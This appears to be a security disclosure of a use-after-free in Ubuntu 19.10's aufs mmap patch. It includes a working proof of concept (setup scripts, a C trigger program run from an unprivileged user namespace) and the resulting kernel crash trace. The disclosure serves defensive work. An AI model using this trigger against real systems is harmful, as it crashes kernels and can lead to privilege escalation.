Tested on 19.10.

Ubuntu's aufs kernel patch includes the following change (which I interestingly
can't see in the AUFS code at
https://github.com/sfjro/aufs5-linux/blob/master/mm/mmap.c):

==================================================================
+#define vma_fput(vma)                  vma_do_fput(vma, __func__, __LINE__)
[...]
@@ -1847,8 +1847,8 @@ unsigned long mmap_region(struct file *file, unsigned long addr,
        return addr;
 
 unmap_and_free_vma:
+       vma_fput(vma);
        vma->vm_file = NULL;
-       fput(file);
 
        /* Undo any partial mapping done by a device driver. */
        unmap_region(mm, vma, prev, vma->vm_start, vma->vm_end);
[...]
+void vma_do_fput(struct vm_area_struct *vma, const char func[], int line)
+{
+       struct file *f = vma->vm_file, *pr = vma->vm_prfile;
+
+       prfile_trace(f, pr, func, line, __func__);
+       fput(f);
+       if (f && pr)
+               fput(pr);
+}
==================================================================

This means that in the case where call_mmap() returns an error to mmap_region(),
fput() will be called on the current value of vma->vm_file instead of the saved
file pointer. This matters if the ->mmap() handler replaces ->vm_file before
returning an error code.

overlayfs and shiftfs do that when call_mmap() on the lower filesystem fails,
see ovl_mmap() and shiftfs_mmap().

To demonstrate the issue, the PoC below mounts a shiftfs that is backed by a
FUSE filesystem with the FUSE flag FOPEN_DIRECT_IO, which causes fuse_file_mmap()
to bail out with -ENODEV if MAP_SHARED is set.

I would have used overlayfs instead, but there is an unrelated bug that makes it
impossible to mount overlayfs inside a user namespace:
Commit 82c0860106f264 ("UBUNTU: SAUCE: overlayfs: Propogate nosuid from lower
and upper mounts") defines SB_I_NOSUID as 0x00000010, but SB_I_USERNS_VISIBLE
already has the same value. This causes mount_too_revealing() to bail out with a
WARN_ONCE().

Note that this PoC requires the "bindfs" package and should be executed with
"slub_debug" in the kernel commandline to get a clear crash.

==================================================================
Ubuntu 19.10 user-Standard-PC-Q35-ICH9-2009 ttyS0

user-Standard-PC-Q35-ICH9-2009 login: user
Password: 
Last login: Fr Nov  1 23:45:36 CET 2019 on ttyS0
Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-19-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


0 updates can be installed immediately.
0 of these updates are security updates.

user@user-Standard-PC-Q35-ICH9-2009:~$ ls
aufs-mmap  Documents  Music     Public     trace.dat
Desktop    Downloads  Pictures  Templates  Videos
user@user-Standard-PC-Q35-ICH9-2009:~$ cd aufs-mmap/
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat /proc/cmdline 
BOOT_IMAGE=/boot/vmlinuz-5.3.0-19-generic root=UUID=f7d8d4fb-0c96-498e-b875-0b777127a332 ro console=ttyS0 slub_debug quiet splash vt.handoff=7
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat run.sh
#!/bin/sh
sync
unshare -mUr ./run2.sh
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat run2.sh
#!/bin/bash
set -e

mount -t tmpfs none /tmp
mkdir -p /tmp/{lower,middle,upper}
touch /tmp/lower/foo
# mount some random FUSE filesystem with direct_io,
# doesn't really matter what it does as long as
# there's a file in it.
# (this is just to get some filesystem that can
# easily be convinced to throw errors from f_op->mmap)
bindfs -o direct_io /tmp/lower /tmp/middle
# use the FUSE filesystem to back shiftfs.
# overlayfs would also work if SB_I_NOSUID and
# SB_I_USERNS_VISIBLE weren't defined to the same
# value...
mount -t shiftfs -o mark /tmp/middle /tmp/upper
mount|grep shift
gcc -o trigger trigger.c -Wall
./trigger
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat trigger.c
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <sys/mman.h>
#include <stdio.h>

int main(void) {
  int foofd = open("/tmp/upper/foo", O_RDONLY);
  if (foofd == -1) err(1, "open foofd");
  void *badmap = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0);
  if (badmap == MAP_FAILED) {
    perror("badmap");
  } else {
    errx(1, "badmap worked???");
  }
  sleep(1);
  mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0);
}
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ ./run.sh 
/tmp/middle on /tmp/upper type shiftfs (rw,relatime,mark)
badmap: No such device
[   72.101721] general protection fault: 0000 [#1] SMP PTI
[   72.111917] CPU: 1 PID: 1376 Comm: trigger Not tainted 5.3.0-19-generic #20-Ubuntu
[   72.124846] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
[   72.140965] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
[   72.149210] Code: 8b e0 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
[   72.167229] RSP: 0018:ffffc1490061bd40 EFLAGS: 00010202
[   72.170426] RAX: 6b6b6b6b6b6b6b6b RBX: ffff9c1cf1ae5788 RCX: 7800000000000000
[   72.174528] RDX: 8000000000000025 RSI: ffff9c1cf14bfdc8 RDI: ffff9c1cc48b5900
[   72.177790] RBP: ffffc1490061bd60 R08: ffff9c1cf14bfdc8 R09: 0000000000000000
[   72.181199] R10: ffff9c1cf1ae5768 R11: 00007faa3eddb000 R12: ffff9c1cf1ae5790
[   72.186306] R13: ffff9c1cc48b7740 R14: ffff9c1cf14bfdc8 R15: ffff9c1cf7209740
[   72.189705] FS:  00007faa3ed9e540(0000) GS:ffff9c1cfbb00000(0000) knlGS:0000000000000000
[   72.193073] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   72.195390] CR2: 0000558ad728d3e0 CR3: 0000000144804003 CR4: 0000000000360ee0
[   72.198237] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[   72.200557] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[   72.202815] Call Trace:
[   72.203712]  mmap_region+0x417/0x670
[   72.204868]  do_mmap+0x3a8/0x580
[   72.205939]  vm_mmap_pgoff+0xcb/0x120
[   72.207954]  ksys_mmap_pgoff+0x1ca/0x2a0
[   72.210078]  __x64_sys_mmap+0x33/0x40
[   72.211327]  do_syscall_64+0x5a/0x130
[   72.212538]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[   72.214177] RIP: 0033:0x7faa3ecc7af6
[   72.215352] Code: 00 00 00 00 f3 0f 1e fa 41 f7 c1 ff 0f 00 00 75 2b 55 48 89 fd 53 89 cb 48 85 ff 74 37 41 89 da 48 89 ef b8 09 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 62 5b 5d c3 0f 1f 80 00 00 00 00 48 8b 05 61
[   72.222275] RSP: 002b:00007ffd0fc44c68 EFLAGS: 00000246 ORIG_RAX: 0000000000000009
[   72.224714] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007faa3ecc7af6
[   72.228123] RDX: 0000000000000001 RSI: 0000000000001000 RDI: 0000000000000000
[   72.230913] RBP: 0000000000000000 R08: 0000000000000003 R09: 0000000000000000
[   72.233193] R10: 0000000000000001 R11: 0000000000000246 R12: 0000556248213100
[   72.235448] R13: 00007ffd0fc44d70 R14: 0000000000000000 R15: 0000000000000000
[   72.237681] Modules linked in: shiftfs intel_rapl_msr snd_hda_codec_generic ledtrig_audio snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep snd_pcm snd_seq_midi snd_seq_midi_event snd_rawmidi intel_rapl_common crct10dif_pclmul crc32_pclmul ghash_clmulni_intel aesni_intel aes_x86_64 crypto_simd snd_seq cryptd glue_helper joydev input_leds serio_raw snd_seq_device snd_timer snd qxl ttm soundcore qemu_fw_cfg drm_kms_helper drm fb_sys_fops syscopyarea sysfillrect sysimgblt mac_hid sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid virtio_net net_failover failover ahci psmouse lpc_ich i2c_i801 libahci virtio_blk
[   72.257673] ---[ end trace 5d85e7b7b0bae5f5 ]---
[   72.259237] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
[   72.260990] Code: 8b e0 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
[   72.269615] RSP: 0018:ffffc1490061bd40 EFLAGS: 00010202
[   72.271414] RAX: 6b6b6b6b6b6b6b6b RBX: ffff9c1cf1ae5788 RCX: 7800000000000000
[   72.273893] RDX: 8000000000000025 RSI: ffff9c1cf14bfdc8 RDI: ffff9c1cc48b5900
[   72.276354] RBP: ffffc1490061bd60 R08: ffff9c1cf14bfdc8 R09: 0000000000000000
[   72.278796] R10: ffff9c1cf1ae5768 R11: 00007faa3eddb000 R12: ffff9c1cf1ae5790
[   72.281095] R13: ffff9c1cc48b7740 R14: ffff9c1cf14bfdc8 R15: ffff9c1cf7209740
[   72.284048] FS:  00007faa3ed9e540(0000) GS:ffff9c1cfbb00000(0000) knlGS:0000000000000000
[   72.287161] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   72.289164] CR2: 0000558ad728d3e0 CR3: 0000000144804003 CR4: 0000000000360ee0
[   72.291953] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[   72.294487] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
==================================================================

Faulting code:

0000000F  55                push rbp
00000010  4889E5            mov rbp,rsp
00000013  4157              push r15
00000015  4156              push r14
00000017  4155              push r13
00000019  4154              push r12
0000001B  488B87C8000000    mov rax,[rdi+0xc8]
00000022  4C8B6810          mov r13,[rax+0x10]
00000026  498B4528          mov rax,[r13+0x28]
0000002A  4883786000        cmp qword [rax+0x60],byte +0x0     <<<< GPF HERE
0000002F  0F8497000000      jz near 0xcc
00000035  4989FC            mov r12,rdi
00000038  4989F6            mov r14,rsi

As you can see, the poison value 6b6b6b6b6b6b6b6b is being dereferenced.